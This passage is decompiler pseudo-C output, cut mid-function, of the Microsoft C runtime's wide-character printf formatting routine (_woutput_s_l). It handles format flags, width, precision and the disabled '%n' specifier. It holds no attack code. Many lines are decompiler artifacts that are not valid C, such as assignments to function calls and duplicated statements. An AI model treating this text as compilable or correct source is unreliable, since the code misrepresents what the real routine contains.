												E0043CBC0( *(_t674 - 0x24),  *((intOrPtr*)(_t674 - 4)),  *(_t674 - 0x24),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t676 = _t676 + 0x10;
												goto L209;
											} else {
												L201:
												__eflags =  *(_t674 - 0x24);
												if( *(_t674 - 0x24) <= 0) {
													goto L208;
												}
												L202:
												 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
												 *(_t674 - 0x4b4) =  *(_t674 - 0x24);
												while(1) {
													L203:
													 *(_t674 - 0x4b4) =  *(_t674 - 0x4b4) - 1;
													__eflags =  *(_t674 - 0x4b4);
													if( *(_t674 - 0x4b4) <= 0) {
														break;
													}
													L204:
													_t535 = E0041AEE0(_t674 - 0x40);
													_t539 = E0043B620(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AEE0(_t674 - 0x40))) + 0xac)), _t535);
													_t676 = _t676 + 0x10;
													 *(_t674 - 0x4b8) = _t539;
													__eflags =  *(_t674 - 0x4b8);
													if( *(_t674 - 0x4b8) > 0) {
														L206:
														E0043CB20( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0xc;
														 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *(_t674 - 0x4b8);
														continue;
													}
													L205:
													 *(_t674 - 0x44c) = 0xffffffff;
													break;
												}
												L207:
												L209:
												__eflags =  *(_t674 - 0x44c);
												if( *(_t674 - 0x44c) >= 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000004;
													if(( *(_t674 - 0x10) & 0x00000004) != 0) {
														E0043CB80(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
														_t676 = _t676 + 0x10;
													}
												}
											}
											L212:
											__eflags =  *(_t674 - 0x20);
											if( *(_t674 - 0x20) != 0) {
												L0041C5D0( *(_t674 - 0x20), 2);
												_t676 = _t676 + 8;
												 *(_t674 - 0x20) = 0;
											}
											while(1) {
												L214:
												 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
												_t580 =  *(_t674 - 0x454) & 0x0000ffff;
												 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
												if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
													break;
												} else {
													if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
														 *(_t674 - 0x4d8) = 0;
													} else {
														 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
												_t644 =  *(_t674 - 0x450) * 9;
												_t509 =  *(_t674 - 0x45c);
												_t588 = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t674 - 0x45c) = ( *(_t644 + _t509 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t674 - 0x45c) != 8) {
													L16:
													 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
													__eflags =  *(_t674 - 0x4e0) - 7;
													if( *(_t674 - 0x4e0) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CA14))) {
														case 0:
															L18:
															 *(_t674 - 0xc) = 1;
															E0043CB20( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
															_t676 = _t676 + 0xc;
															goto L214;
														case 1:
															L19:
															 *(__ebp - 0x2c) = 0;
															__ecx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) = __ecx;
															__edx =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__eax =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) =  *(__ebp - 0x18);
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L214;
														case 2:
															L20:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e4) = __ecx;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
															__eflags =  *(__ebp - 0x4e4) - 0x10;
															if( *(__ebp - 0x4e4) > 0x10) {
																goto L27;
															}
															L21:
															_t58 =  *(__ebp - 0x4e4) + 0x43ca4c; // 0x498d04
															__ecx =  *_t58 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA34))) {
																case 0:
																	goto L24;
																case 1:
																	goto L25;
																case 2:
																	goto L23;
																case 3:
																	goto L22;
																case 4:
																	goto L26;
																case 5:
																	goto L27;
															}
														case 3:
															L28:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__edx =  *(__ebp - 0x18);
																__edx =  *(__ebp - 0x18) * 0xa;
																__eflags = __edx;
																_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__ecx = __edx + _t82;
																 *(__ebp - 0x18) = __ecx;
															} else {
																__edx = __ebp + 0x14;
																 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	__ecx =  *(__ebp - 0x18);
																	__ecx =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) = __ecx;
																}
															}
															L33:
															goto L214;
														case 4:
															L34:
															 *(__ebp - 0x30) = 0;
															goto L214;
														case 5:
															L35:
															__edx =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
															if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) * 0xa;
																__eflags = __ecx;
																_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																__eax = __ecx + _t93;
																 *(__ebp - 0x30) = __ecx + _t93;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L214;
														case 6:
															L41:
															__ecx =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4e8) = __ecx;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
															__eflags =  *(__ebp - 0x4e8) - 0x2e;
															if( *(__ebp - 0x4e8) > 0x2e) {
																L64:
																goto L214;
															}
															L42:
															_t101 =  *(__ebp - 0x4e8) + 0x43ca74; // 0xc2819003
															__ecx =  *_t101 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M0043CA60))) {
																case 0:
																	L47:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																		L50:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																			L53:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																			if(( *__ecx & 0x0000ffff) == 0x64) {
																				L59:
																				L61:
																				goto L64;
																			}
																			L54:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x69;
																			if(__ecx == 0x69) {
																				goto L59;
																			}
																			L55:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																				goto L59;
																			}
																			L56:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx & 0x0000ffff;
																			__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																			if(( *__ecx & 0x0000ffff) == 0x75) {
																				goto L59;
																			}
																			L57:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = __ecx - 0x78;
																			if(__ecx == 0x78) {
																				goto L59;
																			}
																			L58:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																				 *(__ebp - 0x45c) = 0;
																				goto L18;
																			}
																			goto L59;
																		}
																		L51:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x32;
																		if(__ecx != 0x32) {
																			goto L53;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																			goto L61;
																		}
																	}
																	L48:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																	__eflags = __ecx - 0x34;
																	if(__ecx != 0x34) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																		goto L61;
																	}
																case 1:
																	L62:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) = __ecx;
																	goto L64;
																case 2:
																	L43:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																	__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																	if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	} else {
																		__ecx =  *(__ebp + 0xc);
																		__ecx =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) = __ecx;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L64;
																case 3:
																	L63:
																	__edx =  *(__ebp - 0x10);
																	__edx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __edx;
																	 *(__ebp - 0x10) = __edx;
																	goto L64;
																case 4:
																	goto L64;
															}
														case 7:
															L65:
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
															__ecx =  *(__ebp - 0x4ec);
															__ecx =  *(__ebp - 0x4ec) - 0x41;
															 *(__ebp - 0x4ec) = __ecx;
															__eflags =  *(__ebp - 0x4ec) - 0x37;
															if( *(__ebp - 0x4ec) > 0x37) {
																while(1) {
																	L187:
																	__eflags =  *(_t674 - 0x28);
																	if( *(_t674 - 0x28) != 0) {
																		goto L212;
																	}
																	goto L188;
																}
															}
															L66:
															_t142 =  *(__ebp - 0x4ec) + 0x43cae0; // 0xcccccc0d
															__eax =  *_t142 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CAA4))) {
																case 0:
																	L120:
																	 *(__ebp - 0x2c) = 1;
																	 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																	 *(__ebp - 0x454) = __ax;
																	goto L121;
																case 1:
																	L67:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	goto L69;
																case 2:
																	L82:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L84;
																case 3:
																	L144:
																	 *(__ebp - 0x460) = 7;
																	goto L146;
																case 4:
																	L75:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x474) = E004283F0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x474);
																	if( *(__ebp - 0x474) == 0) {
																		L77:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																		L81:
																		goto L187;
																	}
																	L76:
																	__ecx =  *(__ebp - 0x474);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x474);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x474);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L81;
																	}
																	goto L77;
																case 5:
																	L121:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L123:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L128:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				__ecx =  *(__ebp - 0x30);
																				__ecx =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B950( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__edx =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__edx =  *(__ebp + 0x14);
																			__eax =  *(__edx - 8);
																			__ecx =  *(__edx - 4);
																			 *(__ebp - 0x490) =  *(__edx - 8);
																			 *(__ebp - 0x48c) =  *(__edx - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AEE0(__ebp - 0x40));
																			__edx =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__eax =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__ecx =  *(__ebp - 0x454);
																			_push( *(__ebp - 0x454));
																			__edx =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__eax =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__ecx = __ebp - 0x490;
																			_push(__ebp - 0x490);
																			__edx =  *0x440374; // 0xab8ad97d
																			E00424750(__edx) =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx =  *0x440380; // 0x2b8ac62f
																					E00424750(__edx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x44037c; // 0x2b8ac616
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *(__ebp - 4);
																			__edx =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__ecx =  *(__ebp - 4);
																				__ecx =  *(__ebp - 4) + 1;
																				__eflags = __ecx;
																				 *(__ebp - 4) = __ecx;
																			}
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																			do {
																				L187:
																				__eflags =  *(_t674 - 0x28);
																				if( *(_t674 - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			} while ( *(__ebp - 0x4ec) > 0x37);
																			goto L66;
																		}
																		L124:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																		if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																			goto L126;
																		}
																		L125:
																		 *(__ebp - 0x30) = 1;
																		goto L128;
																	}
																	L122:
																	 *(__ebp - 0x30) = 6;
																	goto L128;
																case 6:
																	L69:
																	 *(__ebp - 0xc) = 1;
																	__ebp + 0x14 = E004283F0(__ebp + 0x14);
																	 *(__ebp - 0x458) = __ax;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) & 0x00000020;
																	__eflags = __ecx;
																	if(__ecx == 0) {
																		 *(__ebp - 0x448) =  *(__ebp - 0x458);
																	} else {
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x470) = __dl;
																		 *((char*)(__ebp - 0x46f)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEE0(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E0041AEE0(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x470;
																		__eax = __ebp - 0x448;
																		__eax = E0043B620(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x448;
																	 *(__ebp - 4) = __ebp - 0x448;
																	 *(__ebp - 0x24) = 1;
																	while(1) {
																		L187:
																		__eflags =  *(_t674 - 0x28);
																		if( *(_t674 - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																case 7:
																	L141:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L150:
																	__eflags =  *(_t674 - 0x10) & 0x00008000;
																	if(( *(_t674 - 0x10) & 0x00008000) == 0) {
																		_t623 =  *(_t674 - 0x10) & 0x00001000;
																		__eflags = _t623;
																		if(_t623 == 0) {
																			__eflags =  *(_t674 - 0x10) & 0x00000020;
																			if(( *(_t674 - 0x10) & 0x00000020) == 0) {
																				_t625 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t625;
																				if(_t625 == 0) {
																					_t483 = E004283F0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					__eflags = 0;
																					 *(_t674 - 0x4a0) = _t483;
																					 *(_t674 - 0x49c) = 0;
																				} else {
																					_t556 = E004283F0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t556;
																					 *(_t674 - 0x49c) = _t625;
																				}
																			} else {
																				_t671 =  *(_t674 - 0x10) & 0x00000040;
																				__eflags = _t671;
																				if(_t671 == 0) {
																					_t557 = E004283F0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t557 & 0x0000ffff;
																					 *(_t674 - 0x49c) = _t671;
																				} else {
																					_t560 = E004283F0(_t674 + 0x14);
																					_t676 = _t676 + 4;
																					asm("cdq");
																					 *(_t674 - 0x4a0) = _t560;
																					 *(_t674 - 0x49c) = _t671;
																				}
																			}
																		} else {
																			_t563 = E00428410(_t674 + 0x14);
																			_t676 = _t676 + 4;
																			 *(_t674 - 0x4a0) = _t563;
																			 *(_t674 - 0x49c) = _t623;
																		}
																	} else {
																		_t564 = E00428410(_t674 + 0x14);
																		_t676 = _t676 + 4;
																		 *(_t674 - 0x4a0) = _t564;
																		 *(_t674 - 0x49c) = _t621;
																	}
																	__eflags =  *(_t674 - 0x10) & 0x00000040;
																	if(( *(_t674 - 0x10) & 0x00000040) == 0) {
																		goto L167;
																	}
																case 8:
																	L106:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x484) = E004283F0(__ebp + 0x14);
																	__eax = E00433FA0();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L116:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__ecx =  *(__ebp - 0x484);
																			__edx =  *(__ebp - 0x44c);
																			 *__ecx =  *(__ebp - 0x44c);
																		} else {
																			__edx =  *(__ebp - 0x484);
																			__ax =  *(__ebp - 0x44c);
																			 *( *(__ebp - 0x484)) = __ax;
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L107:
																	__ecx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x4f4) = 0;
																	} else {
																		 *(__ebp - 0x4f4) = 1;
																	}
																	__edx =  *(__ebp - 0x4f4);
																	 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E410();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x488);
																	if( *(__ebp - 0x488) != 0) {
																		L115:
																		while(1) {
																			L187:
																			__eflags =  *(_t674 - 0x28);
																			if( *(_t674 - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	} else {
																		L114:
																		 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																		__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x4cc) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AEB0(__ecx);
																		__eax =  *(__ebp - 0x4cc);
																		goto L225;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L143:
																	 *(__ebp - 0x30) = 8;
																	goto L144;
																case 0xb:
																	L84:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x4f0) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x4f0);
																	 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		L98:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__ecx =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __ecx;
																		}
																		 *(__ebp - 0xc) = 1;
																		__edx =  *(__ebp - 4);
																		 *(__ebp - 0x480) =  *(__ebp - 4);
																		while(1) {
																			L101:
																			__eax =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c);
																			__ecx =  *(__ebp - 0x47c) - 1;
																			 *(__ebp - 0x47c) = __ecx;
																			__eflags =  *(__ebp - 0x47c);
																			if( *(__ebp - 0x47c) == 0) {
																				break;
																			}
																			L102:
																			__edx =  *(__ebp - 0x480);
																			__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L103:
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																		}
																		L104:
																		__edx =  *(__ebp - 0x480);
																		__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																		__eflags = __edx;
																		 *(__ebp - 0x24) = __edx;
																		goto L105;
																	} else {
																		L88:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __eax;
																		}
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x478) = __ecx;
																		 *(__ebp - 0x24) = 0;
																		while(1) {
																			L92:
																			__eax =  *(__ebp - 0x24);
																			__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																			if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																				break;
																			}
																			L93:
																			__ecx =  *(__ebp - 0x478);
																			__edx =  *__ecx;
																			__eflags =  *__ecx;
																			if( *__ecx == 0) {
																				break;
																			}
																			L94:
																			__ecx = __ebp - 0x40;
																			E0041AEE0(__ebp - 0x40) =  *(__ebp - 0x478);
																			__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																			__eax = E004312B0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																			__eflags = __eax;
																			if(__eax != 0) {
																				__edx =  *(__ebp - 0x478);
																				__edx =  *(__ebp - 0x478) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x478) = __edx;
																			}
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																			__edx =  *(__ebp - 0x24);
																			__edx =  *(__ebp - 0x24) + 1;
																			__eflags = __edx;
